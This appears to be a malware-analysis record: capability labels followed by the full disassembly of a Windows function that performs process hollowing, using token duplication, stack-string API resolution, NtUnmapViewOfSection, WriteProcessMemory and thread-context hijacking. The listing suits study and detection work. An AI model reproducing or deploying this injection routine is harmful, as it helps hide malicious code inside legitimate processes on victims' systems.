Function at 0x14007b590
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x1400bfbc8]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xor ebx, ebx
mov r12, r9
mov qword [rsp + 0x68], rbx
mov r15, r8
mov qword [rbp - 0x68], rbx
mov r14, rdx
xor sil, sil
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov rcx, qword [0x1400c2b28]
lea r8, [rsp + 0x68]
mov edx, eax
mov r9, qword [rcx]
call qword [r9 + 0xe8]
test al, al
je 0x14007babe
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14007babe
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x28], rax
lea r9d, [rbx + 2]
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x2000000
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x14007baae
mov rdx, qword [rsp + 0x68]
lea rcx, [rbp - 0x68]
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x14007ba8a
lea rcx, [rbp + 0x20]
mov dword [rbp + 0x24], 0x32336c65
mov word [rbp + 0x21], 0x7265
mov dword [rbp + 0x28], 0x6c6c642e
mov byte [rbp + 0x20], 0x4b
mov byte [rbp + 0x23], WSASetLastError
mov byte [rbp + 0x2c], bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x14007ba84
lea rdx, [rbp + 0x90]
mov dword [rbp + 0x90], 0x64616552
mov rcx, rax
mov dword [rbp + 0x96], 0x7365636f
mov dword [rbp + 0x9b], 0x6f6d654d
mov word [rbp + 0x9f], 0x7972
mov byte [rbp + 0x9a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa1], sil
mov word [rbp + 0x94], 0x7250
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x65], 0x64616572
mov rcx, rbx
mov dword [rbp + 0x6d], 0x747865
mov dword [rbp + 0x69], 0x746e6f43
mov dword [rbp + 0x60], 0x54746547
mov byte [rbp + 0x64], 0x68
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x53], 0x6c617574
mov rcx, rbx
mov word [rbp + 0x58], 0x6c6c
mov dword [rbp + 0x5b], 0x784563
mov word [rbp + 0x51], 0x7269
mov byte [rbp + 0x5a], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x50], 0x56
mov byte [rbp + 0x57], 0x41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x30]
mov dword [rbp + 0x39], 0x636f6c
mov rcx, rbx
mov word [rbp + 0x30], 0x6956
mov dword [rbp + 0x33], 0x6c617574
mov byte [rbp + 0x32], WSACleanup
mov word [rbp + 0x37], 0x6c41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0xa8]
mov word [rbp + 0xac], 0x5065
mov rcx, rbx
mov word [rbp + 0xb5], 0x6d65
mov word [rbp + 0xb2], 0x7373
mov word [rbp + 0xaf], 0x636f
mov dword [rbp + 0xa8], 0x74697257
mov dword [rbp + 0xb7], 0x79726f
mov byte [rbp + 0xae], WSACleanup
mov byte [rbp + 0xb4], Ordinal_79
mov byte [rbp + 0xb1], 0x65
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x78]
mov dword [rbp + 0x7f], 0x6f436461
mov rcx, rbx
mov dword [rbp + 0x84], 0x74786574
mov dword [rbp + 0x78], 0x54746553
mov byte [rbp + 0x88], sil
mov word [rbp + 0x7c], 0x7268
mov byte [rbp + 0x7e], 0x65
mov byte [rbp + 0x83], WSACleanup
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x40]
mov word [rbp + 0x41], 0x7365
mov rcx, rbx
mov qword [rbp - 0x60], rax
mov word [rbp + 0x47], 0x7268
mov word [rbp + 0x44], 0x656d
mov word [rbp + 0x4a], 0x6461
mov byte [rbp + 0x49], 0x65
mov byte [rbp + 0x43], 0x75
mov byte [rbp + 0x40], 0x52
mov byte [rbp + 0x46], 0x54
mov byte [rbp + 0x4c], sil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x58], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x14007ba88
movsxd rdi, dword [r14 + 0x3c]
add rdi, r14
cmp dword [rdi], 0x4550
jne 0x14007ba88
lea rdx, [rbp - 0x78]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
movzx ecx, word [rdi + 4]
mov edx, 0x14c
mov eax, dword [rbp - 0x78]
cmp cx, dx
jne 0x14007b887
test eax, eax
jne 0x14007ba84
mov edx, 0x8664
cmp cx, dx
jne 0x14007b89a
cmp eax, 6
jne 0x14007ba84
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x18]
call fcn.14004d3e0
xor edx, edx
lea rcx, [rbp - 0x50]
lea r8d, [rdx + 0x68]
call fcn.14004d3e0
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
xor ebx, ebx
lea rax, [rbp - 0x50]
mov dword [rbp - 0x50], 0x68
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov rax, qword [rbp - 0x68]
mov r8, r12
mov qword [rsp + 0x40], rbx
mov rdx, r15
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov dword [rbp - 0x14], 0x101
mov word [rbp - 0x10], bx
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x14007ba8a
lea edx, [rbx + 8]
xor ecx, ecx
lea r9d, [rbx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x70]
test eax, eax
je 0x14007ba7a
mov rdx, qword [r13 + 0x88]
lea r9d, [rbx + 8]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rsp + 0x70]
call rax
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rsp + 0x70]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x70]
mov r15, rax
test rax, rax
je 0x14007ba7a
mov r9d, dword [rdi + 0x54]
mov r8, r14
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, ebx
movzx eax, word [rdi + 0x14]
cmp bx, word [rdi + 6]
jae 0x14007ba30
lea rbx, [rdi + 0x2c]
add rbx, rax
xor r12d, r12d
nop dword [rax + rax]
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
add r8, r14
mov r9d, dword [rbx - 4]
add rdx, r15
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
lea rbx, [rbx + 0x28]
inc esi
cmp esi, eax
jl 0x14007ba00
xor ebx, ebx
mov rdx, qword [r13 + 0x88]
lea r8, [rbp - 0x70]
mov rcx, qword [rsp + 0x70]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rdi + 0x28]
mov rdx, r13
add rax, r15
mov qword [r13 + 0x80], rax
mov rcx, qword [rsp + 0x78]
call qword [rbp - 0x60]
mov rcx, qword [rsp + 0x78]
call qword [rbp - 0x58]
mov sil, 1
jmp 0x14007ba8a
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14007ba8a
xor al, al
jmp 0x14007bac2
xor ebx, ebx
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x14007ba99
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14007baae
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], rbx
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14007babe
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, sil
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.14004bcc0
mov rbx, qword [rsp + 0x210]
add rsp, 0x1d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret